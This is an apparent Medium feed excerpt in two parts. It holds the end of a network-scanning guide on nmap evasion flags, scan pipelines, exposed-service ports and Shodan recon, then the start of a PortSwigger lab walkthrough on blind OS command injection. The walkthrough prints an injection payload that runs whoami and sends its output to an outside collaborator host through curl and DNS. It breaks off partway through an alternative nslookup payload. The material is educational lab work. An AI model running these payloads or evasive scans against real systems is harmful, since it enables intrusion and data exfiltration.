scanning activity. Understanding <em>how</em> they detect scans is valuable defensive knowledge — it’s the same logic that lets a defender tune their own detection rules, and it’s also commonly discussed in authorized red-team engagements where the client wants their detection capability tested.</p><p>A few mechanisms worth understanding conceptually:</p><p><strong>Packet fragmentation (</strong><strong>nmap -f)</strong> What it does: Splits probe packets into smaller pieces Defensive takeaway: A poorly configured IDS that doesn&#39;t reassemble fragments before inspection can miss signatures — proper IDS configurations reassemble before analysis</p><p><strong>Decoy scanning (</strong><strong>nmap -D)</strong> What it does: Spoofs additional source IPs alongside the real one Defensive takeaway: Generates noisy logs with many apparent sources — defenders should correlate scan timing/pattern, not just single-source IP blocking</p><p><strong>Source port manipulation (</strong><strong>--source-port 53)</strong> What it does: Sends probes from a port commonly trusted by firewalls (e.g., DNS) Defensive takeaway: Highlights why firewall rules should filter on more than just source port</p><p><strong>Timing/rate control (</strong><strong>-T1, </strong><strong>--scan-delay)</strong> What it does: Spreads probes out over a long period Defensive takeaway: Rate-based IDS thresholds alone are insufficient; defenders should also watch for sequential/low-and-slow probing patterns over time</p><p><strong>Host order randomization (</strong><strong>--randomize-hosts)</strong> What it does: Scans targets in non-sequential order Defensive takeaway: Defeats simple &quot;sequential IP&quot; pattern-matching; defenders should look at aggregate traffic from a source rather than per-target sequence</p><blockquote><em>📝 </em><strong><em>Why this matters in a legitimate engagement:</em></strong><em> If you’re conducting an authorized red-team assessment where the client specifically wants their detection/response capability evaluated, these techniques have a real purpose — testing whether defenses actually catch evasive traffic. Outside that explicit scope, the priority should always be </em><strong><em>clean, well-logged, rate-limited scanning</em></strong><em> so you don’t trigger unnecessary incident response for a routine, authorized assessment.</em></blockquote><blockquote><em>⚠️ Using evasion techniques against a target where you only have </em>port-scanning<em> authorization but not specific permission to test detection evasion can itself be a scope violation — confirm what’s covered before using any of these.</em></blockquote><h3>🧰 Chapter 7 — Authorized Testing Workflows</h3><p>These are common patterns for structuring a scan once you have <strong>explicit authorization or an in-scope bug bounty target</strong>. The goal of staging it this way (quick → full → deep) is efficiency: don’t run an expensive deep scan against ports that turn out to be closed.</p><h3>Workflow 1: Quick Initial Assessment</h3><p>bash</p><pre>nmap -T4 -Pn -sV --open \<br>  --min-rate 5000 \<br>  example.com \<br>  -oN quick_scan.txt</pre><p>Fast pass across the top 1000 ports with version detection. Typically completes in 1–3 minutes and gives you an immediate sense of what’s exposed.</p><h3>Workflow 2: Full Port Scan</h3><p>bash</p><pre>sudo nmap -T4 -Pn -p- -sV -sC \<br>  --min-rate 5000 \<br>  --max-retries 1 \<br>  example.com \<br>  -oA full_scan</pre><p>Scans all 65,535 ports with version detection and default scripts. This is thorough but slow — often run as a background/overnight job on a confirmed in-scope target.</p><h3>Workflow 3: Scanning Multiple Hosts from a List</h3><p>bash</p><pre>nmap -iL live_hosts.txt \<br>  -Pn \<br>  --min-rate 5000 \<br>  --max-retries 1 \<br>  --max-scan-delay 20ms \<br>  -T4 \<br>  --top-ports 1000 \<br>  --open \<br>  -oX nmap_mass.xml</pre><p>Run after host discovery (Chapter 9) to efficiently sweep many confirmed-live, in-scope targets at once. -oX produces XML output that&#39;s easy to parse or import into reporting tools.</p><h3>Workflow 4: Targeted High-Value Port Scan</h3><p>bash</p><pre>PORTS=&quot;21,22,23,25,53,80,110,111,135,139,143&quot;<br>PORTS=&quot;$PORTS,443,445,993,995,1723,3306,3389&quot;<br>PORTS=&quot;$PORTS,5900,6379,8080,8443,8888,9200&quot;<br>PORTS=&quot;$PORTS,27017,28017,50000&quot;</pre><pre>nmap -Pn -p $PORTS \<br>  -sV --open -T4 \<br>  example.com \<br>  -oN interesting_ports.txt</pre><p>A faster middle ground between the quick scan and the full scan — focuses only on ports that historically carry the most security-relevant findings (see Chapter 8).</p><h3>Workflow 5: A Staged Pipeline Script</h3><p>The general <em>shape</em> of an automated pipeline looks like this — quick scan to orient, full scan to make sure nothing is missed, then a deeper scan only against the ports confirmed open:</p><p>bash</p><pre>#!/bin/bash<br>TARGET=$1<br>DIR=&quot;nmap_${TARGET}&quot;<br>mkdir -p &quot;$DIR&quot;</pre><pre>echo &quot;[*] Phase 1: Quick scan&quot;<br>nmap -T4 -Pn --open --min-rate 5000 &quot;$TARGET&quot; -oN &quot;$DIR/quick.txt&quot;</pre><pre>echo &quot;[*] Phase 2: Full port scan&quot;<br>nmap -T4 -Pn -p- --open --min-rate 5000 --max-retries 1 &quot;$TARGET&quot; -oN &quot;$DIR/full_ports.txt&quot;</pre><pre>OPEN_PORTS=$(grep &quot;^[0-9]&quot; &quot;$DIR/full_ports.txt&quot; | awk &#39;{print $1}&#39; | cut -d/ -f1 | tr &#39;\n&#39; &#39;,&#39; | sed &#39;s/,$//&#39;)<br>echo &quot;[+] Open ports: $OPEN_PORTS&quot;</pre><pre>echo &quot;[*] Phase 3: Deep scan on confirmed open ports only&quot;<br>sudo nmap -T4 -Pn -p &quot;$OPEN_PORTS&quot; -sV -sC --script vuln &quot;$TARGET&quot; -oA &quot;$DIR/deep_scan&quot;</pre><pre>echo &quot;[*] Done — results saved in: $DIR/&quot;<br># Usage: chmod +x scan_pipeline.sh &amp;&amp; ./scan_pipeline.sh example.com</pre><blockquote><em>💡 </em><strong><em>The logic of this “funnel” approach:</em></strong><em> Phase 1 orients you quickly. Phase 2 makes sure nothing is missed across the full port range. Phase 3 spends the expensive script/version-detection time only on ports you’ve already confirmed are open — saving significant time on large scopes.</em></blockquote><h3>💎 Chapter 8 — High-Value Ports Reference</h3><p>Some services are disproportionately likely to be misconfigured in ways that matter for security — usually because they were never designed to be exposed to the internet, or because their defaults assume a trusted network. Knowing this list helps you prioritize <em>what to look at first</em> and helps defenders know <em>what to lock down first</em>.</p><p><strong>Port 21 — FTP</strong> Risk Level: High Why It Matters: Anonymous login often left enabled; cleartext credentials</p><p><strong>Port 22 — SSH</strong> Risk Level: Medium Why It Matters: Weak/reused credentials, outdated versions with known CVEs</p><p><strong>Port 23 — Telnet</strong> Risk Level: Critical Why It Matters: Transmits credentials in plaintext — should essentially never be internet-facing</p><p><strong>Port 25 — SMTP</strong> Risk Level: Medium Why It Matters: Open relay misconfigurations, email spoofing potential</p><p><strong>Port 53 — DNS</strong> Risk Level: Medium Why It Matters: Zone transfer misconfigurations can leak internal naming/structure</p><p><strong>Port 80 / 443 — HTTP / HTTPS</strong> Risk Level: Standard Why It Matters: Web application vulnerabilities, TLS misconfigurations</p><p><strong>Port 3306 — MySQL</strong> Risk Level: High Why It Matters: Sometimes exposed with blank/default root password</p><p><strong>Port 5432 — PostgreSQL</strong> Risk Level: High Why It Matters: Default credentials, missing authentication</p><p><strong>Port 6379 — Redis</strong> Risk Level: Critical Why It Matters: Historically ships with no authentication by default — full data access if exposed</p><p><strong>Port 8080 / 8443 — HTTP/HTTPS Alt</strong> Risk Level: Medium Why It Matters: Often hosts admin panels or dev/staging instances</p><p><strong>Port 9200 — Elasticsearch</strong> Risk Level: Critical Why It Matters: No-auth-by-default in many versions — full index access if exposed</p><p><strong>Port 27017 — MongoDB</strong> Risk Level: Critical Why It Matters: Historically no-auth-by-default — full database access if exposed</p><p><strong>Port 5900 — VNC</strong> Risk Level: Critical Why It Matters: No password = full remote desktop access</p><p><strong>Port 2375 — Docker API</strong> Risk Level: Critical Why It Matters: Unauthenticated API access can equal full host compromise</p><p><strong>Port 11211 — Memcached</strong> Risk Level: High Why It Matters: Data exposure; also abusable for DDoS amplification</p><p><strong>Port 50000 — Jenkins</strong> Risk Level: Critical Why It Matters: Misconfigured instances can allow remote code execution</p><blockquote><em>🚨 </em><strong><em>Critical Note:</em></strong><em> Services like Redis, Elasticsearch, MongoDB, VNC, the Docker API, and Jenkins, when found </em><strong><em>exposed with no authentication</em></strong><em>, represent serious findings in any authorized assessment or bug bounty program — they typically qualify as high/critical severity because the impact (full data access or code execution) is severe even though the </em>technique<em> to discover them (a port scan) is trivial.</em></blockquote><blockquote><em>If you discover one of these in an authorized scope: </em><strong><em>do not interact with the data, modify anything, or attempt further access.</em></strong><em> The responsible process is to confirm the service is unauthenticated (e.g., a connection banner confirming no auth was requested), stop there, and report the finding through the program’s official disclosure channel with reproduction steps. Going further than “confirm the door is unlocked” risks turning a legitimate finding into unauthorized access to data you weren’t asked to view.</em></blockquote><h3>📶 Chapter 9 — Host Discovery Techniques (Layer 2/3/4)</h3><h3>🧠 Theory</h3><p>Before investing time in a deep port scan, it’s efficient to first confirm a host is actually <em>alive</em>. Different discovery techniques operate at different layers of the network stack, which matters because firewalls often block some methods while allowing others.</p><h3>ARP Discovery (Layer 2 — local network only)</h3><p>bash</p><pre>nmap -PR -sn 172.21.230.1/24 --reason -vv</pre><p><strong>Flag breakdown:</strong> -PR → Use ARP requests for discovery -sn → Discovery only — skip the port scan --reason → Explain why each host is considered up/down -vv → Very verbose</p><blockquote><em>💡 ARP only works on the same local subnet, but within that subnet, it’s essentially un-blockable by firewalls since ARP operates below the IP layer.</em></blockquote><h3>ICMP Echo Discovery (traditional ping)</h3><p>bash</p><pre>nmap -PE -sn 172.21.230.1/24 --reason</pre><ul><li>-PE sends ICMP Echo requests. Fast, but many modern firewalls drop ICMP entirely, so absence of a reply doesn&#39;t guarantee the host is down.</li></ul><h3>TCP SYN Discovery</h3><p>bash</p><pre>nmap -PS -sn 172.21.230.1/24 --reason</pre><ul><li>-PS sends a SYN packet to port 80 (or specified ports). A live host replies with SYN-ACK (port open) or RST (port closed) either of which confirms it&#39;s up — more reliable than ICMP when ping is blocked.</li></ul><h3>TCP ACK Discovery</h3><p>bash</p><pre>nmap -PA 172.21.230.1/24 --reason -sn -vv</pre><ul><li>-PA sends ACK packets. Stateful firewalls that block unsolicited SYNs sometimes still let unsolicited ACKs through (since they don&#39;t look like a real connection attempt), which can reveal hosts that SYN discovery misses.</li></ul><h3>UDP Discovery</h3><p>bash</p><pre>nmap -PU -sn 172.21.230.1/24</pre><ul><li>-PU sends UDP packets to closed ports; if the host responds with &quot;ICMP port unreachable,&quot; it&#39;s confirmed alive. Slower, but catches hosts that only run UDP services (and might not respond to any TCP-based probe).</li></ul><h3>Bulk Discovery Commands</h3><p>bash</p><pre>nmap -iL allipaddress.txt -sn -vv                         # standard ping sweep across a list<br>masscan -iL allipaddress.txt --rate=50000 --ports 0-65535 -v  # fast full-port sweep<br>nmap -iL allipaddress.txt -sn -vv -T5                     # faster timing template<br>nmap -iL alllivedomain.txt -sn -PR                        # ARP-based sweep from a domain list<br>nmap 209.133.79.94 -Pn -sV -T4                            # detailed single-IP scan<br>nmap 209.133.79.94 -Pn -sV -T4 -A -p 0-65535               # full aggressive single-IP scan</pre><h3>🛰️ Chapter 10 — Shodan Recon</h3><h3>🧠 Theory</h3><p>Shodan is a search engine that continuously scans the internet and indexes service banners, open ports, and metadata from internet-connected devices. For recon purposes, it lets you find exposed services <strong>passively</strong> — without sending a single packet to the target yourself.</p><h3>Search Workflow</h3><p><strong>Step 1 — </strong><strong>hostname:target.com</strong> Purpose: Find all indexed IPs tied to the target domain</p><p><strong>Step 2 — </strong><strong>hostname:apple.com -http.title:&quot;Invalid URL&quot;</strong> Purpose: Filter out broken/error pages from results</p><p><strong>Step 3 — </strong><strong>hostname:target.com port:8080</strong> Purpose: Find services on non-standard ports</p><p><strong>Step 4 — </strong><strong>hostname:target.com org:&quot;Apple Inc&quot;</strong> Purpose: Filter by registered organization name</p><p><strong>Step 5 — </strong><strong>hostname:target.com has_screenshot:true</strong> Purpose: Surface exposed web interfaces that Shodan has screenshotted</p><h3>After Shodan — Verify Before Touching Anything</h3><p>bash</p><pre># Step 1: Confirm IP ownership — is it really the target, or a CDN/cloud provider?<br>whois 16.65.101.114</pre><pre># Step 2: Version detection<br>nmap -sV 16.65.101.114 -T4 -A</pre><pre># Step 3: Rate-limited aggressive scan<br>nmap -sV 16.65.101.114 -T4 -A --min-rate 1000 --max-retries 3 -Pn</pre><pre># Step 4: HTTP vulnerability checks<br>nmap 16.65.101.114 -T4 --script &quot;http-vuln*&quot;</pre><blockquote><em>🚨 </em><strong><em>Important:</em></strong><em> Shodan results frequently include IPs owned by </em><strong><em>CDNs or cloud providers</em></strong><em> (Cloudflare, AWS, Fastly, etc.) rather than the target organization itself. </em><strong><em>Always run </em></strong><strong><em>whois to confirm direct ownership before scanning</em></strong><em> — testing an IP that happens to resolve to a shared cloud range, when only </em><em>target.com is in scope, can violate the bug bounty program&#39;s rules even if the hostname matched.</em></blockquote><h3>🖧 Chapter 11 — Sandmap</h3><p><strong>What it is:</strong> An interactive, menu-driven frontend for Nmap that lets you select scan types from organized modules instead of memorizing flag combinations.</p><h3>Usage Guide</h3><p>bash</p><pre>sandmap              # Step 1: launch the tool<br>help                 # Step 2: view available commands<br>list                 # Step 3: list all available modules<br>use port_scan        # Step 4: load a module (e.g., port scanning)<br>set dest 16.65.101.114   # Step 5: set the target<br>show                 # Step 6: review current configuration<br>init 1               # Step 7: run scan type #1 from the loaded module<br>main                 # Step 8: return to the main menu</pre><blockquote><em>💡 </em><strong><em>Workflow summary:</em></strong><em> </em><em>launch → help → list → use [module] → set dest [ip] → show → init [number]. The number passed to </em><em>init corresponds to a scan type listed when you run </em><em>list after loading a module — always check that list first.</em></blockquote><h3>💣 Chapter 12 — ScanCannon</h3><p><strong>What it is:</strong> A bash script that automates a Masscan → Nmap pipeline against a list of CIDR ranges: fast discovery first, then detailed service detection on whatever Masscan finds open.</p><h3>Setup &amp; Usage</h3><p>bash</p><pre># Step 1: Clone the repository<br>git clone https://github.com/johnnyxmas/scancannon<br>cd scancannon</pre><pre># Step 2: Make it executable<br>chmod +x scancannon.sh</pre><pre># Step 3: Add your authorized CIDR ranges to cidr.txt<br>nano cidr.txt<br># Example contents (use only ranges you&#39;re authorized to test):<br># 192.168.1.0/24<br># 10.0.0.0/8<br># 172.16.0.0/12</pre><pre># Step 4: Run it<br>./scancannon.sh cidr.txt</pre><blockquote><em>📝 </em><strong><em>Notes:</em></strong></blockquote><ul><li>Must be run from inside the scancannon directory — it looks for cidr.txt relative to itself.</li><li>Some scan types require root/sudo.</li><li>Results are saved within the script’s directory for later review.</li></ul><h3>📋 Cheat Sheet</h3><h3>ASN / CIDR / IP / DNS Tools</h3><p><strong>Find ASN CIDR ranges</strong> asnmap -a AS996 &gt; cidr.txt</p><p><strong>Multiple ASNs at once</strong> asnmap -a AS996,AS714 &gt; multi_cidr.txt</p><p><strong>Expand CIDR file to IPs</strong> mapcidr -cidr cidr.txt &gt; ips.txt</p><p><strong>Expand single CIDR</strong> mapcidr -cidr 82.24.0.0/22 &gt; ips.txt</p><p><strong>Pipe CIDR expansion</strong> echo 82.24.0.0/22 | mapcidr -silent</p><p><strong>IP → hostname (PTR)</strong> cat ips.txt | dnsx -ptr -resp-only</p><p><strong>CIDR → hostnames</strong> mapcidr -cidr cidr.txt | dnsx -ptr -resp-only</p><h3>Port Scanners</h3><p><strong>Naabu — scan IP list</strong> naabu -l ips.txt</p><p><strong>Naabu — rate-limited</strong> naabu -l ips.txt -rate 3000 -retries 1 -c 50</p><p><strong>Masscan — all ports on CIDR</strong> masscan -p0-65535 192.168.1.0/24 --rate=50000</p><p><strong>Masscan — from file</strong> masscan -iL ips.txt --rate=50000 --ports 0-65535</p><p><strong>Rustscan — from file</strong> rustscan -a ips.txt -u 10000</p><p><strong>Rustscan — pipe to Nmap</strong> rustscan -a target.com --range 1-65535 -- -sV -sC</p><h3>Nmap — Basics</h3><p><strong>Default top 1000 ports</strong> nmap target.com</p><p><strong>Specific ports</strong> nmap -p 80,443 target.com</p><p><strong>All 65,535 ports</strong> nmap -p- target.com</p><p><strong>Fast all ports</strong> nmap -p- --min-rate 5000 target.com</p><p><strong>Version + default scripts</strong> nmap -sV -sC -Pn target.com -oN out.txt</p><p><strong>Aggressive (all info)</strong> nmap -A target.com</p><h3>Nmap — Scan Types</h3><p><strong>SYN stealth</strong> sudo nmap -sS target.com</p><p><strong>TCP connect</strong> nmap -sT target.com</p><p><strong>UDP scan</strong> sudo nmap -sU target.com</p><p><strong>NULL scan</strong> sudo nmap -sN target.com</p><p><strong>FIN scan</strong> sudo nmap -sF target.com</p><p><strong>XMAS scan</strong> sudo nmap -sX target.com</p><h3>Nmap — NSE Scripts</h3><p><strong>Vulnerability check</strong> nmap --script vuln target.com</p><p><strong>All HTTP vuln checks</strong> nmap --script &quot;http-vuln*&quot; target.com</p><p><strong>Anonymous FTP check</strong> nmap -p 21 --script ftp-anon target.com</p><p><strong>Redis no-auth check</strong> nmap -p 6379 --script redis-info target.com</p><p><strong>MySQL empty password check</strong> nmap -p 3306 --script mysql-empty-password target.com</p><p><strong>EternalBlue (SMB) check</strong> nmap --script smb-vuln-ms17-010 target.com</p><p><strong>Heartbleed (SSL) check</strong> nmap --script ssl-heartbleed target.com</p><h3>Host Discovery</h3><p><strong>ARP scan</strong> nmap -PR -sn 172.21.230.1/24 --reason -vv</p><p><strong>ICMP ping discovery</strong> nmap -PE -sn 172.21.230.1/24 --reason</p><p><strong>TCP SYN discovery</strong> nmap -PS -sn 172.21.230.1/24 --reason</p><p><strong>TCP ACK discovery</strong> nmap -PA 172.21.230.1/24 --reason -sn -vv</p><p><strong>UDP discovery</strong> nmap -PU -sn 172.21.230.1/24</p><p><strong>Ping sweep from file</strong> nmap -iL ips.txt -sn -vv</p><h3>🔄 Complete Workflow Diagram</h3><pre>ASN Numbers        → [ASNMAP]              → CIDR Ranges<br>CIDR Ranges        → [MapCIDR]             → IP Addresses<br>IP Addresses        → [DNSX -ptr]           → Hostnames<br>IP Addresses        → [Naabu/Masscan/Rustscan] → Open Ports<br>Open Ports          → [Nmap -sV]            → Services &amp; Versions<br>Services            → [Nmap NSE Scripts]    → Findings<br>Findings            → Responsible Disclosure → Verified Report</pre><h3>✅ Best Practices</h3><ul><li><strong>Confirm scope before every scan.</strong> Cross-check every IP/CIDR/hostname you intend to touch against the program’s or client’s documented scope — not just the organization’s apparent ownership.</li><li><strong>Start slow, then scale up.</strong> Begin with conservative rate limits (--rate=1000 or lower) and increase only if the program&#39;s rules permit it.</li><li><strong>Stage your scans.</strong> Quick scan → full port scan → deep scan on confirmed-open ports only. This saves enormous time on large scopes.</li><li><strong>Use </strong><strong>--script safe by default.</strong> Reserve brute and exploit script categories for engagements where you have explicit permission to perform active exploitation.</li><li><strong>Verify before deep-diving.</strong> Always run whois on IPs discovered via passive sources (like Shodan) to confirm they belong to the target and not a CDN/cloud provider.</li><li><strong>Stop at confirmation, not exploitation.</strong> For critical no-auth findings (Redis, MongoDB, Elasticsearch, Jenkins, Docker API, VNC), confirm the exposure exists and report it — do not browse, modify, or extract data.</li><li><strong>Keep organized records.</strong> Save output from every phase (-oN, -oX, -oA) so your eventual report has full reproduction steps.</li><li><strong>Respect rate limits and time-of-day restrictions</strong> some programs specify, to avoid disrupting production systems.</li></ul><h3>📝 Notes</h3><ul><li>Tools change quickly — always check a project’s GitHub repo for the latest install instructions and flag syntax, as CLI options can change between versions.</li><li>Most of the ProjectDiscovery tools (ASNMAP, MapCIDR, DNSX, Naabu) are designed to be piped together; learning their individual flags pays off across the whole toolchain.</li><li>Nmap’s NSE script library is enormous — running nmap --script-help &lt;name&gt; on any script shows its documentation and what it checks for before you run it.</li><li>A scanner finding an open port or an exposed service is the <em>start</em> of an investigation, not a finding in itself — context (is it in scope, is it actually unauthenticated, what’s the real impact) is what turns a scan result into a legitimate report.</li></ul><h3>📚 References</h3><ul><li><a href="https://nmap.org/book/man.html">Nmap Official Documentation</a></li><li><a href="https://github.com/projectdiscovery">ProjectDiscovery Tools (GitHub)</a></li><li><a href="https://www.shodan.io/search/filters">Shodan Search Filters</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide</a></li><li>StationX Nmap Cheat Sheet (community reference)</li></ul><h3>⚖️ Disclaimer</h3><p>This document is provided <strong>for educational purposes and authorized security testing only</strong>.</p><ul><li>Always obtain <strong>explicit written permission</strong> before scanning, probing, or testing any system, network, or application you do not personally own.</li><li>For bug bounty work, strictly follow the <strong>published scope and rules of engagement</strong> of the specific program — scanning outside scope can result in program bans and, in some cases, legal liability.</li><li>Unauthorized scanning of computer systems is illegal in most jurisdictions, including under the U.S. Computer Fraud and Abuse Act (CFAA) and equivalent laws elsewhere.</li><li>The author and any contributors to this document accept no liability for misuse of the information contained here.</li></ul><blockquote><strong><em>When in doubt, don’t scan it.</em></strong><em> Ask the program operator, the asset owner, or a lawyer before proceeding.</em></blockquote><h3>🏁 Conclusion</h3><p>Network scanning isn’t a single tool or a single command — it’s a <strong>pipeline</strong>. ASN enumeration tells you where to look. CIDR and IP expansion turns that into a concrete target list. DNS resolution tells you what’s actually running there. Port scanners tell you what’s open. Nmap and NSE scripts tell you what’s listening and whether it’s misconfigured. And everything in between — scope checks, rate limits, responsible disclosure — is what separates a legitimate bug bounty finding from a legal problem.</p><p>If you take one thing away from this guide, let it be this: <strong>the recon phase is where the real skill lives.</strong> Anyone can run nmap -A target.com. Knowing <em>which</em> targets are actually in scope, <em>which</em> ports are worth a closer look, and <em>when to stop and report</em> instead of digging further — that&#39;s what makes the difference between a hobbyist and a professional bug bounty hunter.</p><p>The original PDF version of this masterclass, with the full visual mind-map and pipeline diagrams, is available here:</p><p><strong>👉 </strong><a href="https://github.com/nitishmukhiyaji/Network-Scanning-Masterclass"><strong>github.com/nitishmukhiyaji/Network-Scanning-Masterclass</strong></a></p><h3>👤 About the Author</h3><p><strong>Nitish Mukhiya</strong> is a security researcher and bug bounty hunter focused on web application security, currently sharpening his skills through PortSwigger’s Web Security Academy.</p><p><strong>Connect:</strong></p><ul><li>🐦 Twitter/X — <a href="https://x.com/NITISHMUKHIYAJ">@NITISHMUKHIYAJ</a></li><li>💼 LinkedIn — <a href="https://www.linkedin.com/in/nitishmukhiya/">linkedin.com/in/nitishmukhiya</a></li><li>💻 GitHub — <a href="https://github.com/nitishmukhiyaji">github.com/nitishmukhiyaji</a></li><li>✍️ Medium: <a href="https://medium.com/@nitishmukhiya">https://medium.com/@nitishmukhiya</a></li><li>🌐 Portfolio: <a href="https://www.nitishmukhiya.com/">https://www.nitishmukhiya.com/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4de837c73d23" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/%EF%B8%8F-network-scanning-masterclass-a-complete-guide-to-recon-port-scanning-vulnerability-4de837c73d23">🛰️ Network Scanning Masterclass: A Complete Guide to Recon, Port Scanning &amp; Vulnerability…</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 5: Blind OS Command Injection with Out-of-Band Data Exfiltration — PortSwigger Web Security…]]></title>
            <link>https://medium.com/@nitishmukhiya/lab-5-blind-os-command-injection-with-out-of-band-data-exfiltration-portswigger-web-security-06dd2266943c?source=rss-174be325ed82------2</link>
            <guid isPermaLink="false">https://medium.com/p/06dd2266943c</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[os-command-injection]]></category>
            <category><![CDATA[portswigger-lab]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Nitish Mukhiya]]></dc:creator>
            <pubDate>Sat, 27 Jun 2026 14:03:39 GMT</pubDate>
            <atom:updated>2026-06-27T14:03:39.555Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab 5: Blind OS Command Injection with Out-of-Band Data Exfiltration — PortSwigger Web Security Academy Walkthrough (Part 5 of 5)</h3><h3>The grand finale: smuggling command output inside a DNS query to steal data from a completely silent, fully blind vulnerability.</h3><p><strong>By Nitish Mukhiya</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wwfEp4z_a0l7j9jAFWFYQA.png" /></figure><h3>Series Recap</h3><p>This is <strong>Part 5, the final article</strong>, in a 5-part series on PortSwigger Web Security Academy’s OS Command Injection labs.</p><blockquote><em>👉 </em><strong><em>New here?</em></strong><em> Catch up first: Part 1: OS Command Injection, Simple Case | Part 2: Blind OS Command Injection with Time Delays | Part 3: Blind OS Command Injection with Output Redirection | Part 4: Blind OS Command Injection with Out-of-Band Interaction</em></blockquote><p>PartLabPart 1OS command injection, simple casePart 2Blind OS command injection with time delaysPart 3Blind OS command injection with output redirectionPart 4Blind OS command injection with out-of-band interaction<strong>Part 5 (this article)</strong>Blind OS command injection with out-of-band data exfiltration</p><p>In Part 4, we proved that the vulnerable server could reach an attacker-controlled domain via DNS and HTTP — solid proof of RCE. But proof of execution isn’t the same as proof of impact. This final lab closes that gap by actually stealing data through the very same channel.</p><p><strong>Note on payload formatting:</strong> throughout this article, shell metacharacters are written using safe text labels — [PIPE] for |, [BACKTICK] for the backtick character, and [DOLLAR] for $ — instead of the raw symbols. This is purely a formatting choice for this write-up; on the actual target, you would type the real symbols. (Raw chains of ||, backticks, and $() placed back-to-back can sometimes trip Medium&#39;s editor auto-save or get auto-corrected, so spelling them out keeps the article readable and faithfully reproducible.)</p><h3>Lab Walkthrough: Blind OS Command Injection with Out-of-Band Data Exfiltration</h3><h3>Lab Objective</h3><p>This final lab combines everything learned so far. Rather than just proving execution occurred (Part 4), the objective is to actually exfiltrate the output of a command — specifically the result of whoami — by smuggling it inside the out-of-band DNS request itself.</p><h3>Vulnerability Present</h3><p>Blind OS command injection with out-of-band data exfiltration, using command substitution to embed command output as a DNS subdomain label sent to Burp Collaborator.</p><h3>How the Application Behaves</h3><p>Same feedback form structure as the previous labs, hosted at:</p><pre>https://0ad500fa03e9fc5f813f4e8a000900c5.web-security-academy.net/feedback</pre><h3>Recon Process</h3><ol><li>Generate a fresh Collaborator payload domain (ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.com).</li><li>Craft a payload that runs whoami, captures its output, and prepends that output as a subdomain label on the Collaborator domain.</li><li>Send the request and poll Collaborator for the resulting DNS lookup — the subdomain label itself will contain the leaked data.</li></ol><h3>Payload Used</h3><p>From the Burp Repeater screenshot, the captured request body was (shown here with safe text labels in place of raw shell symbols — see the note above):</p><pre>csrf=dCrQ28dSUWUlquLuhz3HytXY2st6pOwj&amp;name=helllo&amp;email=hello%40hello.com[PIPE][PIPE]curl+[BACKTICK]whoami[BACKTICK].ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.com[PIPE][PIPE]&amp;subject=aladdin&amp;message=mtlb+kuchh+bhi+</pre><p>Decoded, the key injected fragment in the email field reads as:</p><pre>hello@hello.com [PIPE][PIPE] curl [BACKTICK]whoami[BACKTICK].ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.com [PIPE][PIPE]</pre><p>On the real target, [PIPE] is the standard pipe symbol typed twice in a row, and [BACKTICK] is the backtick character wrapped directly around whoami with no space — so the actual string you type into the email field looks like a single unbroken sequence: hello@hello.com followed immediately by two pipe symbols, then curl , then a backtick, whoami, another backtick, then .ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.com, then two more pipe symbols.</p><h3>Why the Payload Works — Line by Line</h3><p>FragmentExplanationhello@hello.comValid-looking email prefix so the app doesn&#39;t reject the input at validation stage[PIPE][PIPE] (OR operator, typed twice)Forces execution of the injected command chain regardless of whether the original email-handling command succeeds or fails[BACKTICK]whoami[BACKTICK] (command substitution)The shell runs whoami first, captures its standard output (e.g., peter), and substitutes that text directly into the surrounding command line before the outer command executes.ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.comThe Collaborator domain, with the substituted whoami output prepended as a subdomain labelcurl &lt;result&gt;.&lt;collaborator-domain&gt;Forces an outbound HTTP/DNS request to a domain that now contains the secret data as part of its hostname[PIPE][PIPE] (trailing)Suppresses leftover application syntax errors</p><p>This is the elegant core of out-of-band data exfiltration: <strong>DNS hostnames themselves become the data channel</strong>. Since DNS lookups happen before any HTTP connection, even if the outbound HTTP request is blocked, the DNS query alone — which must succeed for the application (or its OS resolver) to even attempt the connection — already leaks the data to the attacker’s authoritative DNS server (in this case, Burp Collaborator).</p><h3>Server-Side Impact</h3><p>The vulnerable server runs whoami, which returns the lab&#39;s randomly assigned username (peter-CovCVw in this case), substitutes it into the curl command, and attempts to resolve and connect to:</p><pre>peter-CovCVw.ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.com</pre><p>The Burp Collaborator tab screenshot confirms this exact interaction:</p><blockquote><em>“The Collaborator server received a DNS lookup of type AAAA for the domain name peter-CovCVw.ct9zpvx1rbcq74be3h0xqz2m4da4yvmk.oastify.com.”</em></blockquote><p>This is direct, unambiguous proof that not only did the command execute, but its output was successfully exfiltrated over a side channel — without any direct response from the server, and without needing a writable static directory like in Part 3.</p><h3>How the Lab Was Solved</h3><p>Once the Collaborator log displayed the username embedded in the DNS query subdomain, PortSwigger’s backend validated that the leaked value matched the lab’s expected secret, and the lab was marked Solved, as shown on the feedback page banner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i7kcPyVrh2zoxidCrcrntg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5J1z6iD4yo7IWo68yz6I3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6KTYDl1lOWc1SJVzBadqdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jj8yktCxo-cm7C6102tV8g.png" /></figure><h3>Alternative Payloads</h3><pre>email = [PIPE][PIPE] curl [BACKTICK]whoami[BACKTICK].&lt;collaborator-domain&gt; [PIPE][PIPE]<br>email = [PIPE][PIPE] nslookup [BACKTICK]id 